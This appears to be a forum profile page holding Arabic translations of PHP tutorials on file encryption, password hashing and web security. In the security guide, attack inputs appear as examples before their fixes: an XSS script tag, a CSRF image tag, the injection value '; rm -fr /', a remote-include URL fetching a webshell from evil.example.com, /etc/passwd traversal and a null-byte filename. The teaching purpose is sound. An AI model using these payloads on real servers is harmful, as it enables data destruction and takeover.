سارة محمد2

الأعضاء
  • المساهمات

    86
  • تاريخ الانضمام

  • تاريخ آخر زيارة

  • Days Won

    2

السُّمعة بالموقع

27 Excellent

4 متابعين

  1. التشفير وفك التشفير المتناظر لملفات كبيرة باستخدام OpenSSL لا توفر PHP دالة مضمنة لتشفير وفك تشفير الملفات الكبيرة، يمكن استخدام الدالة openssl_encrypt لتشفير السلاسل النصية لكن يعد تحميل ملف كبير جدًا في الذاكرة فكرةً سيئةً، لذا يجب كتابة دالة تقوم بهذا العمل، يستخدم هذا المثال خوارزمية AES-128-CBC المتناظرة لتشفير أجزاء صغيرة من ملف كبير وكتابتها في ملف آخر. تشفير الملفات // (1) define('FILE_ENCRYPTION_BLOCKS', 10000); /** * ‫تشفير الملف الممرر وحفظ النتيجة في ملف جديد باللاحقة "‎.enc" * * @param string $source مسار الملف الذي نريد تشفيره * @param string $key المفتاح المستخدم للتشفير * @param string $dest اسم الملف الذي نريد أن نكتب فيه الملف المشفَّر * @return string|false * ‫تعيد هذه الدالة اسم الملف المنشأ أو FALSE إذا حدث خطأ */ function encryptFile($source, $key, $dest) { $key = substr(sha1($key, true), 0, 16); $iv = openssl_random_pseudo_bytes(16); $error = false; if ($fpOut = fopen($dest, 'w')) { // ضع شعاع التهيئة في بداية الملف‬ fwrite($fpOut, $iv); if ($fpIn = fopen($source, 'rb')) { while (!feof($fpIn)) { $plaintext = fread($fpIn, 16 * FILE_ENCRYPTION_BLOCKS); $ciphertext = openssl_encrypt($plaintext, 'AES-128-CBC', $key, OPENSSL_RAW_DATA,$iv); // ‫استخدم أول 16 بايت من النص المشفر كشعاع التهيئة التالي $iv = substr($ciphertext, 0, 16); fwrite($fpOut, $ciphertext); } fclose($fpIn); } else { $error = true; } fclose($fpOut); } else { $error = true; } return $error ? false : $dest; } نحدد في الموضع (1) عدد الكتل التي يجب قراءتها من الملف المصدري من أجل كل جزء، بحيث تتألف كل كتلة من 16 بايت من أجل الخوارزمية الآتية: 'AES-128-CBC' لهذا، فإذا قرأنا 10000 كتلة نحمّل 160 كيلوبايت في الذاكرة، يمكنك تعديل هذه القيمة لقراءة/كتابة أجزاء أصغر/أكبر. فك تشفير الملفات يمكنك استخدام هذه الدالة لفك تشفير الملفات المشفرة بالدالة السابقة. /** * ‫فك تشفير الملف الممرر وحفظ النتيجة في ملف جديد مع حذف آخر 4 محارف من اسم الملف * @param string $source مسار الملف الذي نريد فك تشفيره * @param string $key ‫المفتاح المستخدم لفك التشفير (ويجب أن يكون نفس المفتاح المستخدم للتشفير) * @param string $dest اسم الملف حيث يجب أن نكتب الملف الجديد بعد فك التشفير * @return string|false * ‫تعيد هذه الدالة اسم الملف المنشأ أو FALSE إذا حدث خطأ */ function decryptFile($source, $key, $dest) { $key = substr(sha1($key, true), 0, 16); $error = false; if ($fpOut = fopen($dest, 'w')) { if ($fpIn = fopen($source, 'rb')) { // الحصول على شعاع التهيئة من بداية الملف $iv = fread($fpIn, 16); while (!feof($fpIn)) { $ciphertext = fread($fpIn, 16 * (FILE_ENCRYPTION_BLOCKS + 1)); // يجب أن نقرأ كتلة واحدة زيادة عن التشفير لفك التشفير $plaintext = openssl_decrypt($ciphertext, 'AES-128-CBC', $key, OPENSSL_RAW_DATA,$iv); // ‫استخدم أول 16 بايت من النص المشفر كشعاع التهيئة التالي $iv = substr($ciphertext, 0, 16); fwrite($fpOut, $plaintext); } fclose($fpIn); } else { $error = true; } fclose($fpOut); } else { $error = true; } return $error ? false : $dest; } طريقة الاستخدام إليك الشيفرة التالية لتعرف كيفية استخدام الدوال السابقة. $fileName = __DIR__.'/testfile.txt'; $key = 'my secret key'; file_put_contents($fileName, 'Hello World, here I am.'); encryptFile($fileName, $key, $fileName . '.enc'); decryptFile($fileName . '.enc', $key, $fileName . '.dec'); ستنشئ هذه الشيفرة ثلاثة ملفات: testfile.txt وفيه النص الأصلي. testfile.txt.enc فيه الملف المشفر. testfile.txt.dec فيه الملف بعد فك تشفيره ويجب أن يكون نفس محتويات الملف testfile.txt. التشفير المتناظر يوضح هذا المثال التشفير المتناظر باستخدام خوارزمية AES 256 بالنمط CBC وهو اختصار لـ Cipher Block Chaining، نحتاج شعاع تهيئة لذا نولّد واحدًا باستخدام دالة openssl، ويستخدم المتغير ‎$strong لتحديد فيما إذا كان شعاع التهيئة المولَّد قويًا من ناحية التشفير. التشفير // طريقة التشفير $method = "aes-256-cbc"; // الحصول على طول شعاع التهيئة المطلوب $iv_length = openssl_cipher_iv_length($method); // ‫ضبط للقيمة false من أجل السطر التالي $strong = false; // توليد شعاع التهيئة $iv = openssl_random_pseudo_bytes($iv_length, $strong); /* ‫يحتاج شعاع التهيئة للاسترجاع لاحقًا لذا خزنه في قاعدة البيانات لكن لا تعيد استخدام نفس شعاع التهيئة لتشفير بيانات مرةً أخرى */ if(!$strong) { // رمي استثناء إذا لم يكن شعاع التهيئة قويًا من ناحية التشفير throw new Exception("IV not cryptographically strong!"); } // الرسالة السرية $data = "This is a message to be secured."; // كلمة المرور $pass = "Stack0verfl0w"; /* ‫يجب أن تُرسل كلمة المرور بالطريقة POST عبر جلسة HTTPS، قمنا بتخزينها في متغير هنا لأغراض توضيحية * */ // التشفير $enc_data = openssl_encrypt($data, $method, $password, true, $iv); فك التشفير // ‫استعادة شعاع التهيئة من قاعدة البيانات وكلمة المرور من الطلب POST // فك التشفير $dec_data = openssl_decrypt($enc_data, $method, $pass, true, $iv); التشفير وفك التشفير بالأساس 64 إذا كانت البيانات المشفرة تحتاج للإرسال أو التخزين في نص قابل للطباعة عندها يمكن استخدام الدالتين ()base64_encode، و ()base64_decode على الترتيب. // تشفير الترميز بالأساس 64 $enc_data = base64_encode(openssl_encrypt($data, $method, $password, true, $iv)); // فك الترميز وفك التشفير $dec_data = openssl_decrypt(base64_decode($enc_data), $method, $password, true, $iv); دوال تعمية كلمة المرور بما أنّ خدمات الويب الأكثر أمنًا تتجنب تخزين كلمات المرور بصياغة نص واضح فإنّ بعض اللغات مثل PHP توفر دوال تعميةصعبة الاستخراج hashing، ومتنوعة لدعم معيار الصناعة الأكثر أمنًا. يوفر هذا المثال توثيقًا لعمليات التعمية المناسب باستخدام PHP. إنشاء كلمة مرور معماة ننشئ نسخة معماة لكلمة المرور باستخدام الدالة password_hash()‎ لاستخدام تعمية معيارية بأفضل ممارسة للصناعة الحالية أو لاشتقاق المفتاح، في وقت كتابة هذا النص المعيار هو bcrypt مما يعني أنّ PASSWORD_DEFAULT له نفس قيمة PASSWORD_BCRYPT. $options = [ 'cost' => 12, ]; $hashedPassword = password_hash($plaintextPassword, PASSWORD_DEFAULT, $options); المعامل الثالث ليس إجباريًا. يجب أن نختار القيمة 'cost' بالاعتماد على تجهيزات خادم الإنتاج، ستجعل زيادتها كلمة المرور أكثر تكلفةً عند توليدها، كلما زادت تكلفة استخراج وفك الكلمة المعماة، استغرق الأمر وقتًا أطول عند محاولة شخص ما استخراجها؛ ومثاليًا يجب أن تكون التكلفة أعلى ما يمكن᠎ لكن من الناحية العملية يجب ضبطها بحيث لا تؤدي إلى بطء شديد في كل شيء، من المناسب أن تكون بين 0.1 و0.4 ثانية، إذا كنت محتارًا استخدم القيمة الافتراضية. في الإصدارات السابقة للإصدار 5.5، الدوال password_*‎ غير متوفرة، يجب أن تستخدم حزمة التوافق للحصول على بديل لهذه الدوال، لاحظ أنّ حزمة التوافق تتطلب الإصدار PHP 5.3.7 أو أعلى أو إصدار يحتوي على التصحيح ‎$2y (مثل ريدهات). إذا لم تكن قادرًا على استخدامها فيمكنك تنفيذ عملية تعمية على كلمة المرور باستخدام الدالة crypt()‎، وبما أنّ password_hash()‎ تُنفَّذ كغلاف حول الدالة crypt()‎ فلن تحتاج لفقدان أي وظيفة. المثال التالي هو تنفيذ بسيط للتعمية بالمعيار bcrypt والتوافق مع password_hash()‎ ومن غير المضمون أن يحافظ على نفس قوة تشفير التنفيذ الكامل للدالة password_hash()‎. إضافة غُفْل في عملية تعمية كلمة المرور على الرغم من موثوقية خوارزمية التشفير إلا أنّه ما يزال يوجد ثغرة تستهدف جداول قوس قزح ولذا ينصح باستخدام غُفْل salt، والغفل بالعربية هو شيء ما يُضاف لكلمة المرور قبل تعميتها لجعل السلسلة النصية المصدر فريدة (انظر كتاب «علم التعمية واستخراج المعمى عند العرب»)، بالنظر إلى كلمتي مرور متطابقتين فإنّ نتيجة التعمية لهما ستكون فريدة أيضًا لأن الأغْفَال المضافة إليها فريدة. يعد إضافة الأغفال العشوائية أحد أهم أجزاء أمان كلمة المرور الخاصة بك، وهذا يعني أنّه حتى مع جدول البحث lookup table لكلمات المرورة المعماة المعروفة فإنّ المهاجم لن يتمكن من مطابقة كلمة المرور المعماة الخاصة بالمستخدم مع كلمة المرور المعماة في قاعدة البيانات بسبب استخدام أغفال مختلفة، يجب أن تستخدم دائمًا أغفال عشوائية وقوية من ناحية التشفير اقرأ المزيد. باستخدام خوارزمية bcrypt ودالة password_hash()‎ تُخزَّن أغفال النص الأصلي وأغفال النص المعمى الناتج مما يعني أنّه يمكن نقل النص المعمى عبر أنظمة ومنصات مختلفة وستبقى متطابقة مع كلمة المرور الأصلية. في الإصدارات السابقة للإصدار 7.0 يمكنك استخدام الخيار salt لتعريف الأغفال العشوائية الخاصة بك على الرغم من عدم التشجيع على هذا الإجراء. $options = [ 'salt' => $salt, ]; ملاحظة: إذا أهملت هذا الخيار ستولّد الدالة password_hash()‎ غُفْلًا عشوائيًا لكل كلمة مرور مقطعة. بدءًا من الإصدار PHP 7.0.0 أُهمل خيار إضافة الغُفْل ومن المفضل الآن استخدام الغُفْل المولّد افتراضيًا. ترقية كلمة مرور معماة موجودة إلى خوارزمية أقوى إذا كنت تستخدم طريقة PASSWORD_DEFAULT لتجعل النظام يختار الخوارزمية الأفضل لتعمية كلمات المرور بها، مع زيادة قوة الخوارزمية الافتراضية قد ترغب في إعادة تعمية كلمات المرور القديمة عندما يسجل المستخدمون الدخول. <?php // حدد أولًا إذا كانت كلمة المرور الموفرة صحيحة if (password_verify($plaintextPassword, $hashedPassword)) { // حدد الآن إذا كانت النسخة المعماة الموجود قد أُنشئت بخوارزمية لم تعد افتراضية بعد الآن if (password_needs_rehash($hashedPassword, PASSWORD_DEFAULT)) { // أنشئ كلمة معماة جديدة مع الخوارزمية الافتراضية الجديدة $newHashedPassword = password_hash($plaintextPassword, PASSWORD_DEFAULT); // ثم احفظه في مخزن بياناتك // $db->update(...); } } ?> إذا لم تكن الدوال password_*‎ متوفرةً في نظامك ولا تستطيع استخدام حزمة التوافق، فعندها يمكنك تحديد الخوارزمية واستخدامها لإنشاء التعمية الأصلية بطريقة مشابهة للتالي: <?php if (substr($hashedPassword, 0, 4) == '$2y$' && strlen($hashedPassword) == 60) { echo 'Algorithm is Bcrypt'; // ‫يحدد "cost" مدى قوة إصدار Bcrypt preg_match('/\$2y\$(\d+)\$/', $hashedPassword, $matches); $cost = $matches[1]; echo 'Bcrypt cost is '.$cost; } ?> التحقق من كلمة المرور مقابل كلمة معماة توفر الدالة password_verify()‎ المدمجة بدءًا من الإصدار PHP 5.5، إمكانية التحقق من صحة كلمة مرور مقابل كلمة معماة مقابلة لها، أو غير مقابلة. <?php if (password_verify($plaintextPassword, $hashedPassword)) { echo 'Valid Password'; } else { echo 'Invalid Password.'; } ?> تخزن كل خوارزميات عملية التعمية المدعومة معلومات تحدد آلية التعمية المستخدمة، لذا لا حاجة للإشارة إلى الخوارزمية المستخدمة لتعمية كلمة المرور الأصلية. إذا لم تكن الدوال password_*‎ متوفرةً في نظامك ولا تستطيع استخدام حزمة التوافق، فيمكنك التحقق من كلمة المرور باستخدام الدالة crypt()‎، لاحظ أنه يجب اتخاذ احتياطات محددة لتجنب هجمات التوقيت. <?php // ‫غير مضمون أن يحافظ على نفس قوة تشفير تنفيذ password_hash()‎ الكامل if (CRYPT_BLOWFISH == 1) { // ‫تتجاهل crypt()‎ كل المحارف التي تتجاوز طول الغفل، لذا يمكننا تمرير ?كامل كلمة المرور المعماة $hashedCheck = crypt($plaintextPassword, $hashedPassword); // ‫هذه موازنة وقت ثابت أساسية تعتمد على التنفيذ الكامل المستخدم في `password_hash()` $status = 0; for ($i=0; $i<strlen($hashedCheck); $i++) { $status |= (ord($hashedCheck[$i]) ^ ord($hashedPassword[$i])); } if ($status === 0) { echo 'Valid Password'; } else { echo 'Invalid Password'; } } ?> ترجمة -وبتصرف- للفصول Cryptography - Password Hashing Functions من كتاب PHP Notes for Professionals book
  2. إنّ أمن التطبيقات موضوع مهم لمطوري PHP لحماية المواقع والبيانات والعملاء بما أنّ أغلب المواقع تستخدم PHP، يغطي هذا الموضوع أفضل ممارسات الأمان في PHP والثغرات ونقاط الضعف الشائعة مع أمثلة لكيفية إصلاحها. تسريب إصدار PHP بشكل افتراضي تُخبر PHP الآخرين بالإصدار الذي تستخدمه مثال: X-Powered-By: PHP/5.3.8 لإصلاح ذلك يمكنك إما تغييره في ملف php.ini: expose_php = off أو تغيير الترويسة: header("X-Powered-By: Magic"); أو استخدام طريقة htaccess: Header unset X-Powered-By إذا لم تعمل كل الطرق السابقة يمكنك استخدام الدالة header_remove()‎ التي توفر لك قابلية حذف الترويسة: header_remove('X-Powered-By'); إذا عرف المهاجمون أنك تستخدم PHP والإصدار الذي تستخدمه فيكون من السهل عليهم استغلال خادمك. هجمات البرمجة عبر المواقع (XSS) المشكلة هجمات البرمجة عبر المواقع XSS هي التنفيذ غير المقصود للشيفرة البعيدة من قِبل عميل ويب، قد يعرّض أي تطبيق ويب نفسه لهذه الهجمات إذا كان يأخذ مدخلات من المستخدم ويعرضها مباشرةً في صفحة الويب، إذا كانت المدخلات تتضمن شيفرة HTML أو جافاسكربت فيمكن تنفيذ الشيفرة عن بعد عندما يرسل عميل الويب محتوى ما. مثلًا إذا كان لدينا طرف ثالث يحتوي على ملف جافاسكربت: // http://example.com/runme.js document.write("I'm running"); وتطبيق PHP يعرض مباشرةً سلسلة نصية ممررة إليه: <?php echo '<div>' . $_GET['input'] . '</div>'; إذا تضمن معامل GET غير المُتحقق منه، ما يلي: ‎<script src="http://example.com/runme.js"></script>‎ فسيكون خرج سكربت PHP: <div><script src="http://example.com/runme.js"></script></div> سيُنفَّذ ملف جافاسكربت من طرف ثالث وسترى العبارة "I'm running" على صفحة الويب. الحل عمومًا، يجب ألا تثق أبدًا بالمدخلات من طرف العميل، إذ أنّ قيمة GET أو POST أو ملف تعريف ارتباط cookie يمكن أن تكون أي شيء لذا يجب التحقق من صحتها، عند عرض أي من هذه القيم اهرب بها حتى لا تُقيَّم بطريقة غير متوقعة، وتذكر أنّ البيانات يمكن أن تُنقل حتى في أبسط التطبيقات وسيكون من الصعب تتبع جميع المصادر لذا من المناسب دائمًا أن تهرِّب القيم عند الإخراج، توفر PHP عدة طرق لتهرِّب الخرج بالاعتماد على السياق. الدوال المرشحة تسمح دوال الترشيح في PHP بتعقيم أو التحقق من صحة البيانات المُدخلة إلى سكربت PHP بعدة طرق. وهي مفيدة عند حفظ أو عرض دخل المستخدم. ترميز HTML تحوّل htmlspecialchars أي محارف HTML خاصة إلى ترميزات HTML الخاصة بها، مما يعني أنّها لن تُعالَج بعدها كترميز HTML المعياري، نستخدم التابع التالي لإصلاح مثالنا السابق: <?php echo '<div>' . htmlspecialchars($_GET['input']) . '</div>'; // أو echo '<div>' . filter_input(INPUT_GET, 'input', FILTER_SANITIZE_SPECIAL_CHARS) . '</div>'; الخرج: <div>&lt;script src=&quot;http://example.com/runme.js&quot;&gt;&lt;/script&gt;</div> كل ما هو داخل وسم <div> لن يفسّره المتصفح كوسم جافاسكربت وإنّما كعقدة نصية بسيطة وسيرى المستخدم بأمان: <script src="http://example.com/runme.js"></script> ترميز الرابط توفر PHP الدالة urlencode لإخراج روابط صحيحة بأمان عند عرض رابط متولِّد ديناميكيًا. لذا إذا كان المستخدم قادرًا على إدخال بيانات تصبح جزءًا من معامل GET آخر: <?php $input = urlencode($_GET['input']); // أو $input = filter_input(INPUT_GET, 'input', FILTER_SANITIZE_URL); echo '<a href="http://example.com/page?input="' . $input . '">Link</a>'; سيُحوَّل أي دخل ضار إلى معامل رابط مُرمَّز. استخدام مكتبات خارجية متخصصة أو قوائم OWASP AntiSamy قد تحتاج أحيانًا إلى إرسال شيفرة HTML أو نوع شيفرة آخر مُدخل، عندها يجب أن تحتفظ بقائمة من الكلمات المصرَّح بها (قائمة بيضاء) وقائمة بالكلمات غير المصرَّح بها (قائمة سوداء)، يمكنك تحميل القوائم المعيارية المتوفرة في موقع OWASP AntiSamy، وهي اختصار إلى ‏Open Web Application Security Project، تناسب كل قائمة نوع محدد من التفاعل (واجهة برمجة تطبيقات eBay، محرر النصوص tinyMCE وغير ذلك) وهي مفتوحة المصدر. يوجد مكتبات لترشيح شيفرة HTML ومنع هجمات XSS في الحالة العامة وتؤدي على الأقل نفس أداء قوائم AntiSamy مع استخدام سهل جدًا. لديك مثلًا منقي HTML. هجمات تزوير الطلب عبر المواقع (Cross-Site Request Forgery) المشكلة يمكن أن يفرض هجوم تزوير الطلب عبر الموقع CSRF المستخدم النهائي على توليد طلبات ضارة إلى خادم الويب بدون علمه، يمكن استغلال هذا الهجوم في طلبات POST وGET، لنفرض مثلًا أنّ رابط نقطة النهاية ‎/delete.php?accnt=12‎ يحذف الحساب الممرر عبر المعامل accnt في الطلب GET، إذا واجه الآن المستخدم الموثوق السكربت التالي في أي تطبيق آخر: <img src="http://domain.com/delete.php?accnt=12" width="0" height="0" border="0"> سيُحذف الحساب. الحل الحل الشائع لهذه المشكلة هو استخدام مفاتيح CSRF (‏CSRF tokens)، تُضمَّن هذه المفاتيح في الطلبات بحيث يمكن لتطبيق الويب أن يثق أنّ الطلب قادم من مصدر متوقع كجزء من تدفق العمل العادي للتطبيق، يقوم المستخدم أولًا ببعض الإجراءات مثل عرض نموذج يبدأ بإنشاء مفتاح فريد، مثال بسيط لذلك: <form method="get" action="/delete.php"> <input type="text" name="accnt" placeholder="accnt number" /> <input type="hidden" name="csrf_token" value="<randomToken>" /> <input type="submit" /> </form> يمكن بعدها أن يتحقق الخادم من صحة المفتاح مقابل جلسة المستخدم بعد إرسال النموذج لإزالة الطلبات الضارة. مثال إليك المثال التالي: // ‫الشيفرة التالية لتوليد مفتاح CSRF وتخزينه <?php session_start(); function generate_token() { // التحقق من وجود مفتاح لهذه الجلسة if(!isset($_SESSION["csrf_token"])) { // لا يوجد مفتاح لذا ولّد واحدًا جديدًا $token = random_bytes(64); $_SESSION["csrf_token"] = $token; } else { // أعد استخدام المفتاح $token = $_SESSION["csrf_token"]; } return $token; } ?> <body> <form method="get" action="/delete.php"> <input type="text" name="accnt" placeholder="accnt number" /> <input type="hidden" name="csrf_token" value="<?php echo generate_token();?>" /> <input type="submit" /> </form> </body> ... // الشيفرة التالية للتحقق من صحة المفتاح وحذف الطلبات الضارة ... <?php session_start(); if ($_GET["csrf_token"] != $_SESSION["csrf_token"]) { // أعد تعيين المفتاح unset($_SESSION["csrf_token"]); die("CSRF token validation failed"); } ?> ... يوجد العديد من المكتبات وأطر العمل التي لها تنفيذ خاص بها للتحقق من صحة CSRF، وبالرغم من أنّ تنفيذ CSRF هذا بسيط فأنت تحتاج إلى كتابة بعض الشيفرة لإعادة توليد مفتاح CSRF ديناميكيًا لمنع سرقة مفتاح CSRF وتحديده. حقن سطر الأوامر المشكلة يسمح حقن SQL للمهاجم بتنفيذ استعلامات عشوائية على قاعدة البيانات، وبطريقة مشابهة فإنّ هجوم حقن سطر الأوامر يسمح للمهاجم ܏بتنفيذ أوامر نظام غير موثوق بها على خادم ويب. ومع وجود خادم غير آمن بشكلٍ صحيح فإنّ هذا يعطي المهاجم تحكمًا كاملًا بالنظام. لنفرض مثلًا أنّ لدينا سكربت يسمح للمستخدم بالحصول على قائمة بمحتويات مجلد على خادم الويب. <pre> <?php system('ls ' . $_GET['path']); ?> </pre> يستخدم الشخص في التطبيقات الحقيقية دوال PHP مضمنة أو كائنات للحصول على محتويات المسار، لكن هذا المثال لإثبات أمني بسيط. قد تتأمل الحصول على معامل مسار بشكلٍ مشابه للمعامل ‎/tmp ولكن بما أنّ أي دخل مسموح به فمن الممكن أن يكون ‎; rm -fr /‎، عندها سينفذ خادم الويب الأمر: ls; rm -fr / ويحاول حذف كل الملفات من المجلد الجذر للخادم. الحل يجب أن تُهرَّب جميع وسائط الأمر باستخدام الدالة escapeshellarg()‎ أو escapeshellcmd()‎ مما يجعلها غير قابلة للتنفيذ كما يجب أن يتم التحقق من صحة كل قيمة مدخلة. في أبسط الحالات يمكننا تأمين مثالنا بالشكل التالي: <pre> <?php system('ls ' . escapeshellarg($_GET['path'])); ?> </pre> وفقًا للمثال السابق، مع محاولة حذف الملفات يصبح الأمر المنفّذ: ls '; rm -fr /' وتُمرَّر السلسلة النصية ببساطة كمعامل للأمر ls بدلًا من إنهاء هذا الأمر وتنفيذ الأمر rm. يجب الإشارة إلى أنّ المثال في الأعلى أصبح آمنًا الآن من هجوم حقن الأوامر لكن ليس من اجتياز traversal المجلد، ولإصلاح ذلك يجب التحقق من أنّ المسار الطبيعي يبدأ بالمجلد الفرعي المرغوب به. توفر PHP دوالًا متنوعة لتنفيذ أوامر النظام مثل كلّ من: exec. ‏passthru ‏proc_open ‏‏shell_exec system حيث يجب التحقق من صحة جميع مدخلاتها وتهريبها. إزالة الوسوم إنّ الدالة strip_tags دالة قوية جدًا إذا كنت تعرف كيفية استخدامها، وتوجد طرق أفضل لمنع هجمات البرمجة عبر المواقع مثل ترميز المحارف لكن إزالة الوسوم مفيدة في بعض الحالات. انظر المثال الأساسي التالي: $string = '<b>Hello,<> please remove the <> tags.</b>'; echo strip_tags($string); الخرج الخام الناتج: Hello, please remove the tags. بفرض أنك تريد السماح بوجود وسم معين، عندها يجب أن تحدد ذلك في المعامل الثاني للدالة، هذا المعامل اختياري، فمثلًا إذا أردت السماح بمرور الوسم <b> فقط. $string = '<b>Hello,<> please remove the <br> tags.</b>'; echo strip_tags($string, '<b>'); الخرج الخام للشيفرة السابقة: <b>Hello, please remove the tags.</b> ملاحظة: إنّ تعليقات HTML ووسوم PHP تُزال أيضًا وهذا لا يمكن تغييره، وفي الإصدار PHP 5.3.4 والإصدارات اللاحقة تُهمل وسوم XHTML ذاتية الإغلاق وتُستخدم فقط الوسوم غير ذاتية الإغلاق فمثلًا للسماح بالوسمين <br> و<br/> يجب أن تستخدم: <?php strip_tags($input, '<br>'); ?> إدراج ملف إدراج ملف بعيد يعد إدراج ملف بعيد RFI نوعًا من الثغرات التي تسمح للمهاجم بتضمين ملف بعيد، يحقن هذا المثال ملفًا مستضافًا عن بعد يتضمن شيفرة ضارة: <?php include $_GET['page']; /vulnerable.php?page=http://evil.example.com/webshell.txt? إدراج ملف محلي إدراج ملف محلي LFI في عملية تضمين الملفات على الخادم عبر متصفح الويب. <?php $page = 'pages/'.$_GET['page']; if(isset($page)) { include $page; } else { include 'index.php'; } /vulnerable.php?page=../../../../etc/passwd حل RFI وLFI يُنصح بالسماح بتضمين الملفات التي توافق عليها فقط. <?php $page = 'pages/'.$_GET['page'].'.php'; $allowed = ['pages/home.php','pages/error.php']; if(in_array($page,$allowed)) { include($page); } else { include('index.php'); } الإبلاغ عن الأخطاء تُظهر PHP افتراضيًا رسائل الخطأ والتحذيرات والملاحظات مباشرةً على الصفحة إذا حدث شيء ما غير متوقع في السكربت، وهذا مفيد لحل مشاكل معينة لكن في نفس الوقت يعرض معلومات لا تريد أن يعرفها المستخدمين، لذا يعد تجنب عرض هذه الرسائل التي تظهر معلومات خادمك مثل شجرة المجلدات في بيئة الإنتاج ممارسةً جيدة، أما في بيئة التطوير أو الاختبار فإنّ عرض هذه الرسائل يكون مفيدًا لتنقيح الأخطاء. حل سريع يمكنك إيقاف تشغيل عرض هذه الرسائل بشكلٍ كامل لكن هذا يجعل عملية تنقيح أخطاء السكربت أصعب. <?php ini_set("display_errors", "0"); ?> أو تغيير هذا مباشرةً في ملف php.ini: display_errors = 0 معالجة الأخطاء إن الخيار الأفضل دائمًا هو تخزين رسائل الخطأ هذه في مكان ما مثل قاعدة البيانات. set_error_handler(function($errno , $errstr, $errfile, $errline){ try{ $pdo = new PDO("mysql:host=hostname;dbname=databasename", 'dbuser', 'dbpwd', [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION ]); if($stmt = $pdo->prepare("INSERT INTO `errors` (no,msg,file,line) VALUES (?,?,?,?)")){ if(!$stmt->execute([$errno, $errstr, $errfile, $errline])){ throw new Exception('Unable to execute query'); } } else { throw new Exception('Unable to prepare query'); } } catch (Exception $e){ error_log('Exception: ' . $e->getMessage() . PHP_EOL . "$errfile:$errline:$errno | $errstr"); } }); ستسجل هذه الطريقة الرسائل في قاعدة البيانات وإذا فشلت في ذلك ستسجلها في ملف بدلًا من عرضها مباشرةً في الصفحة، وبذلك يمكنك تتبع ما يواجهه المستخدمون في موقعك وملاحظة وجود أي خطأ مباشرةً. رفع ملفات إذا أردت السماح للمستخدمين برفع ملفات إلى خادمك تحتاج إلى مضاعفة التحقق الأمني قبل أن ينتقل الملف المرفوع إلى الخادم مباشرةً. البيانات المرفوعة تحتوي هذه المصفوفة على بيانات مُرسلة من قبل مستخدم وهي ليست معلومات عن الملف، بينما يولّد المتصفح هذه البيانات يمكن للمستخدم إرسال طلب بالطريقة post إلى نفس النموذج باستخدام برنامج. $_FILES['file']['name']; $_FILES['file']['type']; $_FILES['file']['size']; $_FILES['file']['tmp_name']; name: تحقق منه بالكامل type: لا تستخدم هذه البيانات أبدًا، يمكن الحصول عليها باستخدام دوال PHP بدلًا من ذلك. size: آمن للاستخدام. tmp_name: آمن للاستخدام. استغلال اسم الملف لا يسمح نظام التشغيل بشكلٍ طبيعي بوجود محارف خاصة في اسم الملف، لكن يمكنك إضافتهم من خلال انتحال الطلب مما يسمح بحدوث أشياء غير متوقعة فمثلًا ليكن لدينا اسم الملف: ../script.php%00.png تفحّص اسم الملف ويجب أن تلاحظ أمرين: الأول هو أنّ وجود ‎../‎ غير منطقي أبدًا في اسم الملف، لكن في نفس الوقت جيد إذا كنت تنقل ملفًا من مجلد إلى آخر. قد تعتقد الآن أنك كنت تتحقق من امتدادات الملف بشكلٍ صحيح في السكربت، لكن يعتمد هذا الاستغلال على فك تشفير الرابط، إذ يترجم ‎%00‎ إلى المحرف null ويقول لنظام التشغيل أن السلسلة انتهت هنا مما يزيل ‎.png من اسم الملف. حمّلت الآن ملف script.php إلى مجلد آخر بتمرير عمليات تحقق بسيطة إلى امتدادات الملف وبتمرير ملفات ‎.htaccess‎ مما يمنع تنفيذ السكربتات من ضمن مجلدك المرفوع. الحصول على اسم الملف والامتداد بشكلٍ آمن يمكنك استخدام الدالة pathinfo()‎ لاستقراء الاسم والامتداد بطريقةٍ آمنة، لكننا نحتاج أولًا لاستبدال المحارف غير المرغوب بها في اسم الملف: // تتضمن هذه المصفوفة قائمة بالمحارف غير المسموح بها في اسم الملف $illegal = array_merge(array_map('chr', range(0,31)), ["<", ">", ":", '"', "/", "\\", "|", "?","*", " "]); $filename = str_replace($illegal, "-", $_FILES['file']['name']); $pathinfo = pathinfo($filename); $extension = $pathinfo['extension'] ? $pathinfo['extension']:''; $filename = $pathinfo['filename'] ? $pathinfo['filename']:''; if(!empty($extension) && !empty($filename)){ echo $filename, $extension; } else { die('file is missing an extension or name'); } لدينا الآن اسم الملف والامتداد ويمكننا استخدامهما للتخزين، لكن مازلت أفضل تخزين هذه المعلومات في قاعدة البيانات وإعطاء الملف اسمًا مولّدًا له مثل md5(uniqid().microtime())‎. +----+--------+-----------+------------+------+----------------------------------+---------------- -----+ | id | title | extension | mime | size | filename | time | +----+--------+-----------+------------+------+----------------------------------+---------------- -----+ | 1 | myfile | txt | text/plain | 1020 | 5bcdaeddbfbd2810fa1b6f3118804d66 | 2017-03-11 00:38:54 | +----+--------+-----------+------------+------+----------------------------------+---------------- -----+ سيحل هذا مشكلة أسماء الملفات المكررة وعمليات استغلال اسم الملف غير المتوقعة، وقد يتسبب ذلك أن يخمّن المهاجم مكان تخزين الملف بما أنه لا يمكن استهداف الملف بشكلٍ محدد. التحقق من نوع الوسائط mime-type التحقق من امتداد الملف لمعرفة ما هو نوع الملف غير كافٍ فقد يكون اسم الملف image.png لكنه يتضمن سكربت PHP، بالتحقق من نوع وسائط الملف المرفوع يمكنك التحقق من إذا كان الملف يتضمن ما يشير إليه اسمه أو لا. يمكنك الآن الذهاب إلى خطوة أبعد للتحقق من الصور، وهي فتحها: if($mime == 'image/jpeg' && $extension == 'jpeg' || $extension == 'jpg'){ if($img = imagecreatefromjpeg($filename)){ imagedestroy($img); } else { die('image failed to open, could be corrupt or the file contains something else.'); } } يمكنك الحصول على نوع الوسائط باستخدام دالة مدمجة أو صنف. وجود قائمة بيضاء للملفات المرفوعة الأهم من ذلك كله هو كتابة قائمة بيضاء تتضمن امتدادات الملفات وأنواع الوسائط بالاعتماد على كل نموذج. function isFiletypeAllowed($extension, $mime, array $allowed) { return isset($allowed[$mime]) && is_array($allowed[$mime]) && in_array($extension, $allowed[$mime]); } $allowedFiletypes = [ 'image/png' => [ 'png' ], 'image/gif' => [ 'gif' ], 'image/jpeg' => [ 'jpg', 'jpeg' ], ]; var_dump(isFiletypeAllowed('jpg', 'image/jpeg', $allowedFiletypes)); كتابة دالة تحافظ على تسجيل المستخدم بأفضل أسلوب تخزين ملف تعريف الارتباط في ثلاثة أجزاء. function onLogin($user) { // ‫توليد مفتاح، يجب أن يكون بين 128 - 256 بت $token = GenerateRandomToken(); storeTokenForUser($user, $token); $cookie = $user . ':' . $token; $mac = hash_hmac('sha256', $cookie, SECRET_KEY); $cookie .= ':' . $mac; 